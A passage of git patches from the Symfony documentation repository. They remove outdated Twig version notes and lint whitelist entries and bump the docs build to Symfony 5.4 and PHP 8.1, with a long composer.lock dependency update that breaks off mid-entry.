 to Twig, which gives you access to the Twig functions for rendering forms.
diff --git a/reference/configuration/twig.rst b/reference/configuration/twig.rst
index 8ac4068517e..29b22fb3e28 100644
--- a/reference/configuration/twig.rst
+++ b/reference/configuration/twig.rst
@@ -67,10 +67,10 @@ autoescape_service
 
 **type**: ``string`` **default**: ``null``
 
-As of Twig 1.17, the escaping strategy applied by default to the template is
-determined during compilation time based on the filename of the template. This
-means for example that the contents of a ``*.html.twig`` template are escaped
-for HTML and the contents of ``*.js.twig`` are escaped for JavaScript.
+The escaping strategy applied by default to the template is determined during
+compilation time based on the filename of the template. This means for example
+that the contents of a ``*.html.twig`` template are escaped for HTML and the
+contents of ``*.js.twig`` are escaped for JavaScript.
 
 This option allows to define the Symfony service which will be used to determine
 the default escaping applied to the template.
diff --git a/templating/twig_extension.rst b/templating/twig_extension.rst
index 64f2c7519cb..3654fab4f6c 100644
--- a/templating/twig_extension.rst
+++ b/templating/twig_extension.rst
@@ -103,10 +103,6 @@ this command to confirm that your new filter was successfully registered:
 Creating Lazy-Loaded Twig Extensions
 ------------------------------------
 
-.. versionadded:: 1.35
-
-    Support for lazy-loaded extensions was introduced in Twig 1.35.0 and 2.4.4.
-
 Including the code of the custom filters/functions in the Twig extension class
 is the simplest way to create extensions. However, Twig must initialize all
 extensions before rendering any template, even if the template doesn't use an

From dc906476dd916a78d80c236e5f4967a778e89574 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Wed, 11 Jan 2023 09:04:22 +0100
Subject: [PATCH 4092/7107] Remove obsolete blacklist entries

Follows
* https://github.com/symfony/symfony-docs/pull/17711
---
 .doctor-rst.yaml | 2 --
 1 file changed, 2 deletions(-)

diff --git a/.doctor-rst.yaml b/.doctor-rst.yaml
index 3c671b143db..2833840d86f 100644
--- a/.doctor-rst.yaml
+++ b/.doctor-rst.yaml
@@ -83,8 +83,6 @@ whitelist:
         - '.. versionadded:: 1.9.0' # Encore
         - '.. versionadded:: 0.28.4' # Encore
         - '.. versionadded:: 2.4.0' # SwiftMailer
-        - '.. versionadded:: 1.30' # Twig
-        - '.. versionadded:: 1.35' # Twig
         - '.. versionadded:: 1.11' # Messenger (Middleware / DoctrineBundle)
         - '.. versionadded:: 1.18' # Flex in setup/upgrade_minor.rst
         - '.. versionadded:: 1.0.0' # Encore

From b07c069ce9cd973977d7d600ff40c6a25ebd46ac Mon Sep 17 00:00:00 2001
From: Fabien Potencier <fabien@potencier.org>
Date: Wed, 11 Jan 2023 09:04:35 +0100
Subject: [PATCH 4093/7107] Bump versions on the build script

---
 _build/build.php     |   2 +-
 _build/composer.json |   8 +-
 _build/composer.lock | 728 ++++++++++++++++++++-----------------------
 3 files changed, 342 insertions(+), 396 deletions(-)

diff --git a/_build/build.php b/_build/build.php
index 989eaea7cbe..897fd8dac20 100755
--- a/_build/build.php
+++ b/_build/build.php
@@ -20,7 +20,7 @@
 
         $outputDir = __DIR__.'/output';
         $buildConfig = (new BuildConfig())
-            ->setSymfonyVersion('4.4')
+            ->setSymfonyVersion('5.4')
             ->setContentDir(__DIR__.'/..')
             ->setOutputDir($outputDir)
             ->setImagesDir(__DIR__.'/output/_images')
diff --git a/_build/composer.json b/_build/composer.json
index 57b77fa5808..1f070475062 100644
--- a/_build/composer.json
+++ b/_build/composer.json
@@ -3,7 +3,7 @@
     "prefer-stable": true,
     "config": {
         "platform": {
-            "php": "7.4.14"
+            "php": "8.1.0"
         },
         "preferred-install": {
             "*": "dist"
@@ -14,9 +14,9 @@
         }
     },
     "require": {
-        "php": ">=7.4",
-        "symfony/console": "^5.4",
-        "symfony/process": "^5.4",
+        "php": ">=8.1",
+        "symfony/console": "^6.2",
+        "symfony/process": "^6.2",
         "symfony-tools/docs-builder": "^0.18"
     }
 }
diff --git a/_build/composer.lock b/_build/composer.lock
index 503bfab012b..fa23243ea98 100644
--- a/_build/composer.lock
+++ b/_build/composer.lock
@@ -4,41 +4,82 @@
         "Read more about it at https://getcomposer.org/doc/01-basic-usage.md#installing-dependencies",
         "This file is @generated automatically"
     ],
-    "content-hash": "4cd8dc9a70f9ccfb279a426fffbcf2bc",
+    "content-hash": "1243668a34d12e1bfc2a367bb87dd2c9",
     "packages": [
+        {
+            "name": "doctrine/deprecations",
+            "version": "v1.0.0",
+            "source": {
+                "type": "git",
+                "url": "https://github.com/doctrine/deprecations.git",
+                "reference": "0e2a4f1f8cdfc7a92ec3b01c9334898c806b30de"
+            },
+            "dist": {
+                "type": "zip",
+                "url": "https://api.github.com/repos/doctrine/deprecations/zipball/0e2a4f1f8cdfc7a92ec3b01c9334898c806b30de",
+                "reference": "0e2a4f1f8cdfc7a92ec3b01c9334898c806b30de",
+                "shasum": ""
+            },
+            "require": {
+                "php": "^7.1|^8.0"
+            },
+            "require-dev": {
+                "doctrine/coding-standard": "^9",
+                "phpunit/phpunit": "^7.5|^8.5|^9.5",
+                "psr/log": "^1|^2|^3"
+            },
+            "suggest": {
+                "psr/log": "Allows logging deprecations via PSR-3 logger implementation"
+            },
+            "type": "library",
+            "autoload": {
+                "psr-4": {
+                    "Doctrine\\Deprecations\\": "lib/Doctrine/Deprecations"
+                }
+            },
+            "notification-url": "https://packagist.org/downloads/",
+            "license": [
+                "MIT"
+            ],
+            "description": "A small layer on top of trigger_error(E_USER_DEPRECATED) or PSR-3 logging with options to disable all deprecations or selectively for packages.",
+            "homepage": "https://www.doctrine-project.org/",
+            "support": {
+                "issues": "https://github.com/doctrine/deprecations/issues",
+                "source": "https://github.com/doctrine/deprecations/tree/v1.0.0"
+            },
+            "time": "2022-05-02T15:47:09+00:00"
+        },
         {
             "name": "doctrine/event-manager",
-            "version": "1.1.1",
+            "version": "1.2.0",
             "source": {
                 "type": "git",
                 "url": "https://github.com/doctrine/event-manager.git",
-                "reference": "41370af6a30faa9dc0368c4a6814d596e81aba7f"
+                "reference": "95aa4cb529f1e96576f3fda9f5705ada4056a520"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/doctrine/event-manager/zipball/41370af6a30faa9dc0368c4a6814d596e81aba7f",
-                "reference": "41370af6a30faa9dc0368c4a6814d596e81aba7f",
+                "url": "https://api.github.com/repos/doctrine/event-manager/zipball/95aa4cb529f1e96576f3fda9f5705ada4056a520",
+                "reference": "95aa4cb529f1e96576f3fda9f5705ada4056a520",
                 "shasum": ""
             },
             "require": {
+                "doctrine/deprecations": "^0.5.3 || ^1",
                 "php": "^7.1 || ^8.0"
             },
             "conflict": {
-                "doctrine/common": "<2.9@dev"
+                "doctrine/common": "<2.9"
             },
             "require-dev": {
-                "doctrine/coding-standard": "^6.0",
-                "phpunit/phpunit": "^7.0"
+                "doctrine/coding-standard": "^9 || ^10",
+                "phpstan/phpstan": "~1.4.10 || ^1.8.8",
+                "phpunit/phpunit": "^7.5 || ^8.5 || ^9.5",
+                "vimeo/psalm": "^4.24"
             },
             "type": "library",
-            "extra": {
-                "branch-alias": {
-                    "dev-master": "1.0.x-dev"
-                }
-            },
             "autoload": {
                 "psr-4": {
-                    "Doctrine\\Common\\": "lib/Doctrine/Common"
+                    "Doctrine\\Common\\": "src"
                 }
             },
             "notification-url": "https://packagist.org/downloads/",
@@ -82,7 +123,7 @@
             ],
             "support": {
                 "issues": "https://github.com/doctrine/event-manager/issues",
-                "source": "https://github.com/doctrine/event-manager/tree/1.1.x"
+                "source": "https://github.com/doctrine/event-manager/tree/1.2.0"
             },
             "funding": [
                 {
@@ -98,20 +139,20 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2020-05-29T18:28:51+00:00"
+            "time": "2022-10-12T20:51:15+00:00"
         },
         {
             "name": "doctrine/rst-parser",
-            "version": "0.5.2",
+            "version": "0.5.3",
             "source": {
                 "type": "git",
                 "url": "https://github.com/doctrine/rst-parser.git",
-                "reference": "3b914d5eb8f6a91afc7462ea7794b0e05b884a35"
+                "reference": "0b1d413d6bb27699ccec1151da6f617554d02c13"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/doctrine/rst-parser/zipball/3b914d5eb8f6a91afc7462ea7794b0e05b884a35",
-                "reference": "3b914d5eb8f6a91afc7462ea7794b0e05b884a35",
+                "url": "https://api.github.com/repos/doctrine/rst-parser/zipball/0b1d413d6bb27699ccec1151da6f617554d02c13",
+                "reference": "0b1d413d6bb27699ccec1151da6f617554d02c13",
                 "shasum": ""
             },
             "require": {
@@ -125,12 +166,12 @@
                 "twig/twig": "^2.9 || ^3.3"
             },
             "require-dev": {
-                "doctrine/coding-standard": "^8.0",
+                "doctrine/coding-standard": "^10.0",
                 "gajus/dindent": "^2.0.2",
-                "phpstan/phpstan": "^0.12",
-                "phpstan/phpstan-deprecation-rules": "^0.12",
-                "phpstan/phpstan-phpunit": "^0.12",
-                "phpstan/phpstan-strict-rules": "^0.12",
+                "phpstan/phpstan": "^1.9",
+                "phpstan/phpstan-deprecation-rules": "^1.0",
+                "phpstan/phpstan-phpunit": "^1.2",
+                "phpstan/phpstan-strict-rules": "^1.4",
                 "phpunit/phpunit": "^7.5 || ^8.0 || ^9.0",
                 "symfony/css-selector": "4.4 || ^5.2 || ^6.0",
                 "symfony/dom-crawler": "4.4 || ^5.2 || ^6.0"
@@ -169,28 +210,102 @@
             ],
             "support": {
                 "issues": "https://github.com/doctrine/rst-parser/issues",
-                "source": "https://github.com/doctrine/rst-parser/tree/0.5.2"
+                "source": "https://github.com/doctrine/rst-parser/tree/0.5.3"
+            },
+            "time": "2022-12-29T16:24:52+00:00"
+        },
+        {
+            "name": "masterminds/html5",
+            "version": "2.7.6",
+            "source": {
+                "type": "git",
+                "url": "https://github.com/Masterminds/html5-php.git",
+                "reference": "897eb517a343a2281f11bc5556d6548db7d93947"
+            },
+            "dist": {
+                "type": "zip",
+                "url": "https://api.github.com/repos/Masterminds/html5-php/zipball/897eb517a343a2281f11bc5556d6548db7d93947",
+                "reference": "897eb517a343a2281f11bc5556d6548db7d93947",
+                "shasum": ""
+            },
+            "require": {
+                "ext-ctype": "*",
+                "ext-dom": "*",
+                "ext-libxml": "*",
+                "php": ">=5.3.0"
+            },
+            "require-dev": {
+                "phpunit/phpunit": "^4.8.35 || ^5.7.21 || ^6 || ^7"
+            },
+            "type": "library",
+            "extra": {
+                "branch-alias": {
+                    "dev-master": "2.7-dev"
+                }
+            },
+            "autoload": {
+                "psr-4": {
+                    "Masterminds\\": "src"
+                }
+            },
+            "notification-url": "https://packagist.org/downloads/",
+            "license": [
+                "MIT"
+            ],
+            "authors": [
+                {
+                    "name": "Matt Butcher",
+                    "email": "technosophos@gmail.com"
+                },
+                {
+                    "name": "Matt Farina",
+                    "email": "matt@mattfarina.com"
+                },
+                {
+                    "name": "Asmir Mustafic",
+                    "email": "goetas@gmail.com"
+                }
+            ],
+            "description": "An HTML5 parser and serializer.",
+            "homepage": "http://masterminds.github.io/html5-php",
+            "keywords": [
+                "HTML5",
+                "dom",
+                "html",
+                "parser",
+                "querypath",
+                "serializer",
+                "xml"
+            ],
+            "support": {
+                "issues": "https://github.com/Masterminds/html5-php/issues",
+                "source": "https://github.com/Masterminds/html5-php/tree/2.7.6"
             },
-            "time": "2022-03-22T13:52:20+00:00"
+            "time": "2022-08-18T16:18:26+00:00"
         },
         {
             "name": "psr/container",
-            "version": "1.1.2",
+            "version": "2.0.2",
             "source": {
                 "type": "git",
                 "url": "https://github.com/php-fig/container.git",
-                "reference": "513e0666f7216c7459170d56df27dfcefe1689ea"
+                "reference": "c71ecc56dfe541dbd90c5360474fbc405f8d5963"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/php-fig/container/zipball/513e0666f7216c7459170d56df27dfcefe1689ea",
-                "reference": "513e0666f7216c7459170d56df27dfcefe1689ea",
+                "url": "https://api.github.com/repos/php-fig/container/zipball/c71ecc56dfe541dbd90c5360474fbc405f8d5963",
+                "reference": "c71ecc56dfe541dbd90c5360474fbc405f8d5963",
                 "shasum": ""
             },
             "require": {
                 "php": ">=7.4.0"
             },
             "type": "library",
+            "extra": {
+                "branch-alias": {
+                    "dev-master": "2.0.x-dev"
+                }
+            },
             "autoload": {
                 "psr-4": {
                     "Psr\\Container\\": "src/"
@@ -217,36 +332,36 @@
             ],
             "support": {
                 "issues": "https://github.com/php-fig/container/issues",
-                "source": "https://github.com/php-fig/container/tree/1.1.2"
+                "source": "https://github.com/php-fig/container/tree/2.0.2"
             },
-            "time": "2021-11-05T16:50:12+00:00"
+            "time": "2021-11-05T16:47:00+00:00"
         },
         {
             "name": "psr/log",
-            "version": "1.1.4",
+            "version": "3.0.0",
             "source": {
                 "type": "git",
                 "url": "https://github.com/php-fig/log.git",
-                "reference": "d49695b909c3b7628b6289db5479a1c204601f11"
+                "reference": "fe5ea303b0887d5caefd3d431c3e61ad47037001"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/php-fig/log/zipball/d49695b909c3b7628b6289db5479a1c204601f11",
-                "reference": "d49695b909c3b7628b6289db5479a1c204601f11",
+                "url": "https://api.github.com/repos/php-fig/log/zipball/fe5ea303b0887d5caefd3d431c3e61ad47037001",
+                "reference": "fe5ea303b0887d5caefd3d431c3e61ad47037001",
                 "shasum": ""
             },
             "require": {
-                "php": ">=5.3.0"
+                "php": ">=8.0.0"
             },
             "type": "library",
             "extra": {
                 "branch-alias": {
-                    "dev-master": "1.1.x-dev"
+                    "dev-master": "3.x-dev"
                 }
             },
             "autoload": {
                 "psr-4": {
-                    "Psr\\Log\\": "Psr/Log/"
+                    "Psr\\Log\\": "src"
                 }
             },
             "notification-url": "https://packagist.org/downloads/",
@@ -267,22 +382,22 @@
                 "psr-3"
             ],
             "support": {
-                "source": "https://github.com/php-fig/log/tree/1.1.4"
+                "source": "https://github.com/php-fig/log/tree/3.0.0"
             },
-            "time": "2021-05-03T11:20:27+00:00"
+            "time": "2021-07-14T16:46:02+00:00"
         },
         {
             "name": "scrivo/highlight.php",
-            "version": "v9.18.1.9",
+            "version": "v9.18.1.10",
             "source": {
                 "type": "git",
                 "url": "https://github.com/scrivo/highlight.php.git",
-                "reference": "d45585504777e6194a91dffc7270ca39833787f8"
+                "reference": "850f4b44697a2552e892ffe71490ba2733c2fc6e"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/scrivo/highlight.php/zipball/d45585504777e6194a91dffc7270ca39833787f8",
-                "reference": "d45585504777e6194a91dffc7270ca39833787f8",
+                "url": "https://api.github.com/repos/scrivo/highlight.php/zipball/850f4b44697a2552e892ffe71490ba2733c2fc6e",
+                "reference": "850f4b44697a2552e892ffe71490ba2733c2fc6e",
                 "shasum": ""
             },
             "require": {
@@ -292,8 +407,8 @@
             "require-dev": {
                 "phpunit/phpunit": "^4.8|^5.7",
                 "sabberworm/php-css-parser": "^8.3",
-                "symfony/finder": "^2.8|^3.4",
-                "symfony/var-dumper": "^2.8|^3.4"
+                "symfony/finder": "^2.8|^3.4|^5.4",
+                "symfony/var-dumper": "^2.8|^3.4|^5.4"
             },
             "suggest": {
                 "ext-mbstring": "Allows highlighting code with unicode characters and supports language with unicode keywords"
@@ -347,20 +462,20 @@
                     "type": "github"
                 }
             ],
-            "time": "2021-12-03T06:45:28+00:00"
+            "time": "2022-12-17T21:53:22+00:00"
         },
         {
             "name": "symfony-tools/docs-builder",
-            "version": "v0.18.9",
+            "version": "v0.18.10",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony-tools/docs-builder.git",
-                "reference": "1bc91f91887b115d78e7d2c8879c19af515b36ae"
+                "reference": "8420c687cff102ee30288380ab682ecf539dbf3b"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony-tools/docs-builder/zipball/1bc91f91887b115d78e7d2c8879c19af515b36ae",
-                "reference": "1bc91f91887b115d78e7d2c8879c19af515b36ae",
+                "url": "https://api.github.com/repos/symfony-tools/docs-builder/zipball/8420c687cff102ee30288380ab682ecf539dbf3b",
+                "reference": "8420c687cff102ee30288380ab682ecf539dbf3b",
                 "shasum": ""
             },
             "require": {
@@ -398,52 +513,49 @@
             "description": "The build system for Symfony's documentation",
             "support": {
                 "issues": "https://github.com/symfony-tools/docs-builder/issues",
-                "source": "https://github.com/symfony-tools/docs-builder/tree/v0.18.9"
+                "source": "https://github.com/symfony-tools/docs-builder/tree/v0.18.10"
             },
-            "time": "2022-03-22T14:32:49+00:00"
+            "time": "2022-12-30T15:11:58+00:00"
         },
         {
             "name": "symfony/console",
-            "version": "v5.4.8",
+            "version": "v6.2.3",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/console.git",
-                "reference": "ffe3aed36c4d60da2cf1b0a1cee6b8f2e5fa881b"
+                "reference": "0f579613e771dba2dbb8211c382342a641f5da06"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/console/zipball/ffe3aed36c4d60da2cf1b0a1cee6b8f2e5fa881b",
-                "reference": "ffe3aed36c4d60da2cf1b0a1cee6b8f2e5fa881b",
+                "url": "https://api.github.com/repos/symfony/console/zipball/0f579613e771dba2dbb8211c382342a641f5da06",
+                "reference": "0f579613e771dba2dbb8211c382342a641f5da06",
                 "shasum": ""
             },
             "require": {
-                "php": ">=7.2.5",
+                "php": ">=8.1",
                 "symfony/deprecation-contracts": "^2.1|^3",
                 "symfony/polyfill-mbstring": "~1.0",
-                "symfony/polyfill-php73": "^1.9",
-                "symfony/polyfill-php80": "^1.16",
                 "symfony/service-contracts": "^1.1|^2|^3",
-                "symfony/string": "^5.1|^6.0"
+                "symfony/string": "^5.4|^6.0"
             },
             "conflict": {
-                "psr/log": ">=3",
-                "symfony/dependency-injection": "<4.4",
-                "symfony/dotenv": "<5.1",
-                "symfony/event-dispatcher": "<4.4",
-                "symfony/lock": "<4.4",
-                "symfony/process": "<4.4"
+                "symfony/dependency-injection": "<5.4",
+                "symfony/dotenv": "<5.4",
+                "symfony/event-dispatcher": "<5.4",
+                "symfony/lock": "<5.4",
+                "symfony/process": "<5.4"
             },
             "provide": {
-                "psr/log-implementation": "1.0|2.0"
+                "psr/log-implementation": "1.0|2.0|3.0"
             },
             "require-dev": {
-                "psr/log": "^1|^2",
-                "symfony/config": "^4.4|^5.0|^6.0",
-                "symfony/dependency-injection": "^4.4|^5.0|^6.0",
-                "symfony/event-dispatcher": "^4.4|^5.0|^6.0",
-                "symfony/lock": "^4.4|^5.0|^6.0",
-                "symfony/process": "^4.4|^5.0|^6.0",
-                "symfony/var-dumper": "^4.4|^5.0|^6.0"
+                "psr/log": "^1|^2|^3",
+                "symfony/config": "^5.4|^6.0",
+                "symfony/dependency-injection": "^5.4|^6.0",
+                "symfony/event-dispatcher": "^5.4|^6.0",
+                "symfony/lock": "^5.4|^6.0",
+                "symfony/process": "^5.4|^6.0",
+                "symfony/var-dumper": "^5.4|^6.0"
             },
             "suggest": {
                 "psr/log": "For using the console logger",
@@ -483,7 +595,7 @@
                 "terminal"
             ],
             "support": {
-                "source": "https://github.com/symfony/console/tree/v5.4.8"
+                "source": "https://github.com/symfony/console/tree/v6.2.3"
             },
             "funding": [
                 {
@@ -499,25 +611,24 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2022-04-12T16:02:29+00:00"
+            "time": "2022-12-28T14:26:22+00:00"
         },
         {
             "name": "symfony/css-selector",
-            "version": "v5.4.3",
+            "version": "v6.2.3",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/css-selector.git",
-                "reference": "b0a190285cd95cb019237851205b8140ef6e368e"
+                "reference": "ab1df4ba3ded7b724766ba3a6e0eca0418e74f80"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/css-selector/zipball/b0a190285cd95cb019237851205b8140ef6e368e",
-                "reference": "b0a190285cd95cb019237851205b8140ef6e368e",
+                "url": "https://api.github.com/repos/symfony/css-selector/zipball/ab1df4ba3ded7b724766ba3a6e0eca0418e74f80",
+                "reference": "ab1df4ba3ded7b724766ba3a6e0eca0418e74f80",
                 "shasum": ""
             },
             "require": {
-                "php": ">=7.2.5",
-                "symfony/polyfill-php80": "^1.16"
+                "php": ">=8.1"
             },
             "type": "library",
             "autoload": {
@@ -549,7 +660,7 @@
             "description": "Converts CSS selectors to XPath expressions",
             "homepage": "https://symfony.com",
             "support": {
-                "source": "https://github.com/symfony/css-selector/tree/v5.4.3"
+                "source": "https://github.com/symfony/css-selector/tree/v6.2.3"
             },
             "funding": [
                 {
@@ -565,29 +676,29 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2022-01-02T09:53:40+00:00"
+            "time": "2022-12-28T14:26:22+00:00"
         },
         {
             "name": "symfony/deprecation-contracts",
-            "version": "v2.5.1",
+            "version": "v3.2.0",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/deprecation-contracts.git",
-                "reference": "e8b495ea28c1d97b5e0c121748d6f9b53d075c66"
+                "reference": "1ee04c65529dea5d8744774d474e7cbd2f1206d3"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/deprecation-contracts/zipball/e8b495ea28c1d97b5e0c121748d6f9b53d075c66",
-                "reference": "e8b495ea28c1d97b5e0c121748d6f9b53d075c66",
+                "url": "https://api.github.com/repos/symfony/deprecation-contracts/zipball/1ee04c65529dea5d8744774d474e7cbd2f1206d3",
+                "reference": "1ee04c65529dea5d8744774d474e7cbd2f1206d3",
                 "shasum": ""
             },
             "require": {
-                "php": ">=7.1"
+                "php": ">=8.1"
             },
             "type": "library",
             "extra": {
                 "branch-alias": {
-                    "dev-main": "2.5-dev"
+                    "dev-main": "3.3-dev"
                 },
                 "thanks": {
                     "name": "symfony/contracts",
@@ -616,7 +727,7 @@
             "description": "A generic function and convention to trigger deprecation notices",
             "homepage": "https://symfony.com",
             "support": {
-                "source": "https://github.com/symfony/deprecation-contracts/tree/v2.5.1"
+                "source": "https://github.com/symfony/deprecation-contracts/tree/v3.2.0"
             },
             "funding": [
                 {
@@ -632,35 +743,30 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2022-01-02T09:53:40+00:00"
+            "time": "2022-11-25T10:21:52+00:00"
         },
         {
             "name": "symfony/dom-crawler",
-            "version": "v5.4.6",
+            "version": "v6.2.3",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/dom-crawler.git",
-                "reference": "c0bda97480d96337bd3866026159a8b358665457"
+                "reference": "f2743e033dd05a62978ced0ad368022e82c9fab2"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/dom-crawler/zipball/c0bda97480d96337bd3866026159a8b358665457",
-                "reference": "c0bda97480d96337bd3866026159a8b358665457",
+                "url": "https://api.github.com/repos/symfony/dom-crawler/zipball/f2743e033dd05a62978ced0ad368022e82c9fab2",
+                "reference": "f2743e033dd05a62978ced0ad368022e82c9fab2",
                 "shasum": ""
             },
             "require": {
-                "php": ">=7.2.5",
-                "symfony/deprecation-contracts": "^2.1|^3",
+                "masterminds/html5": "^2.6",
+                "php": ">=8.1",
                 "symfony/polyfill-ctype": "~1.8",
-                "symfony/polyfill-mbstring": "~1.0",
-                "symfony/polyfill-php80": "^1.16"
-            },
-            "conflict": {
-                "masterminds/html5": "<2.6"
+                "symfony/polyfill-mbstring": "~1.0"
             },
             "require-dev": {
-                "masterminds/html5": "^2.6",
-                "symfony/css-selector": "^4.4|^5.0|^6.0"
+                "symfony/css-selector": "^5.4|^6.0"
             },
             "suggest": {
                 "symfony/css-selector": ""
@@ -691,7 +797,7 @@
             "description": "Eases DOM navigation for HTML and XML documents",
             "homepage": "https://symfony.com",
             "support": {
-                "source": "https://github.com/symfony/dom-crawler/tree/v5.4.6"
+                "source": "https://github.com/symfony/dom-crawler/tree/v6.2.3"
             },
             "funding": [
                 {
@@ -707,27 +813,26 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2022-03-02T12:42:23+00:00"
+            "time": "2022-12-22T17:55:15+00:00"
         },
         {
             "name": "symfony/filesystem",
-            "version": "v5.4.7",
+            "version": "v6.2.0",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/filesystem.git",
-                "reference": "3a4442138d80c9f7b600fb297534ac718b61d37f"
+                "reference": "50b2523c874605cf3d4acf7a9e2b30b6a440a016"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/filesystem/zipball/3a4442138d80c9f7b600fb297534ac718b61d37f",
-                "reference": "3a4442138d80c9f7b600fb297534ac718b61d37f",
+                "url": "https://api.github.com/repos/symfony/filesystem/zipball/50b2523c874605cf3d4acf7a9e2b30b6a440a016",
+                "reference": "50b2523c874605cf3d4acf7a9e2b30b6a440a016",
                 "shasum": ""
             },
             "require": {
-                "php": ">=7.2.5",
+                "php": ">=8.1",
                 "symfony/polyfill-ctype": "~1.8",
-                "symfony/polyfill-mbstring": "~1.8",
-                "symfony/polyfill-php80": "^1.16"
+                "symfony/polyfill-mbstring": "~1.8"
             },
             "type": "library",
             "autoload": {
@@ -755,7 +860,7 @@
             "description": "Provides basic utilities for the filesystem",
             "homepage": "https://symfony.com",
             "support": {
-                "source": "https://github.com/symfony/filesystem/tree/v5.4.7"
+                "source": "https://github.com/symfony/filesystem/tree/v6.2.0"
             },
             "funding": [
                 {
@@ -771,26 +876,27 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2022-04-01T12:33:59+00:00"
+            "time": "2022-11-20T13:01:27+00:00"
         },
         {
             "name": "symfony/finder",
-            "version": "v5.4.8",
+            "version": "v6.2.3",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/finder.git",
-                "reference": "9b630f3427f3ebe7cd346c277a1408b00249dad9"
+                "reference": "81eefbddfde282ee33b437ba5e13d7753211ae8e"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/finder/zipball/9b630f3427f3ebe7cd346c277a1408b00249dad9",
-                "reference": "9b630f3427f3ebe7cd346c277a1408b00249dad9",
+                "url": "https://api.github.com/repos/symfony/finder/zipball/81eefbddfde282ee33b437ba5e13d7753211ae8e",
+                "reference": "81eefbddfde282ee33b437ba5e13d7753211ae8e",
                 "shasum": ""
             },
             "require": {
-                "php": ">=7.2.5",
-                "symfony/deprecation-contracts": "^2.1|^3",
-                "symfony/polyfill-php80": "^1.16"
+                "php": ">=8.1"
+            },
+            "require-dev": {
+                "symfony/filesystem": "^6.0"
             },
             "type": "library",
             "autoload": {
@@ -818,7 +924,7 @@
             "description": "Finds files and directories via an intuitive fluent interface",
             "homepage": "https://symfony.com",
             "support": {
-                "source": "https://github.com/symfony/finder/tree/v5.4.8"
+                "source": "https://github.com/symfony/finder/tree/v6.2.3"
             },
             "funding": [
                 {
@@ -834,36 +940,34 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2022-04-15T08:07:45+00:00"
+            "time": "2022-12-22T17:55:15+00:00"
         },
         {
             "name": "symfony/http-client",
-            "version": "v5.4.8",
+            "version": "v6.2.2",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/http-client.git",
-                "reference": "0dabec4e3898d3e00451dd47b5ef839168f9bbf5"
+                "reference": "7054ad466f836309aef511789b9c697bc986d8ce"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/http-client/zipball/0dabec4e3898d3e00451dd47b5ef839168f9bbf5",
-                "reference": "0dabec4e3898d3e00451dd47b5ef839168f9bbf5",
+                "url": "https://api.github.com/repos/symfony/http-client/zipball/7054ad466f836309aef511789b9c697bc986d8ce",
+                "reference": "7054ad466f836309aef511789b9c697bc986d8ce",
                 "shasum": ""
             },
             "require": {
-                "php": ">=7.2.5",
+                "php": ">=8.1",
                 "psr/log": "^1|^2|^3",
                 "symfony/deprecation-contracts": "^2.1|^3",
-                "symfony/http-client-contracts": "^2.4",
-                "symfony/polyfill-php73": "^1.11",
-                "symfony/polyfill-php80": "^1.16",
+                "symfony/http-client-contracts": "^3",
                 "symfony/service-contracts": "^1.0|^2|^3"
             },
             "provide": {
                 "php-http/async-client-implementation": "*",
                 "php-http/client-implementation": "*",
                 "psr/http-client-implementation": "1.0",
-                "symfony/http-client-implementation": "2.4"
+                "symfony/http-client-implementation": "3.0"
             },
             "require-dev": {
                 "amphp/amp": "^2.5",
@@ -874,10 +978,10 @@
                 "nyholm/psr7": "^1.0",
                 "php-http/httplug": "^1.0|^2.0",
                 "psr/http-client": "^1.0",
-                "symfony/dependency-injection": "^4.4|^5.0|^6.0",
-                "symfony/http-kernel": "^4.4.13|^5.1.5|^6.0",
-                "symfony/process": "^4.4|^5.0|^6.0",
-                "symfony/stopwatch": "^4.4|^5.0|^6.0"
+                "symfony/dependency-injection": "^5.4|^6.0",
+                "symfony/http-kernel": "^5.4|^6.0",
+                "symfony/process": "^5.4|^6.0",
+                "symfony/stopwatch": "^5.4|^6.0"
             },
             "type": "library",
             "autoload": {
@@ -905,7 +1009,7 @@
             "description": "Provides powerful methods to fetch HTTP resources synchronously or asynchronously",
             "homepage": "https://symfony.com",
             "support": {
-                "source": "https://github.com/symfony/http-client/tree/v5.4.8"
+                "source": "https://github.com/symfony/http-client/tree/v6.2.2"
             },
             "funding": [
                 {
@@ -921,24 +1025,24 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2022-04-12T16:02:29+00:00"
+            "time": "2022-12-14T16:11:27+00:00"
         },
         {
             "name": "symfony/http-client-contracts",
-            "version": "v2.5.1",
+            "version": "v3.2.0",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/http-client-contracts.git",
-                "reference": "1a4f708e4e87f335d1b1be6148060739152f0bd5"
+                "reference": "c5f587eb445224ddfeb05b5ee703476742d730bf"
             },
             "dist": {
                 "type": "zip",
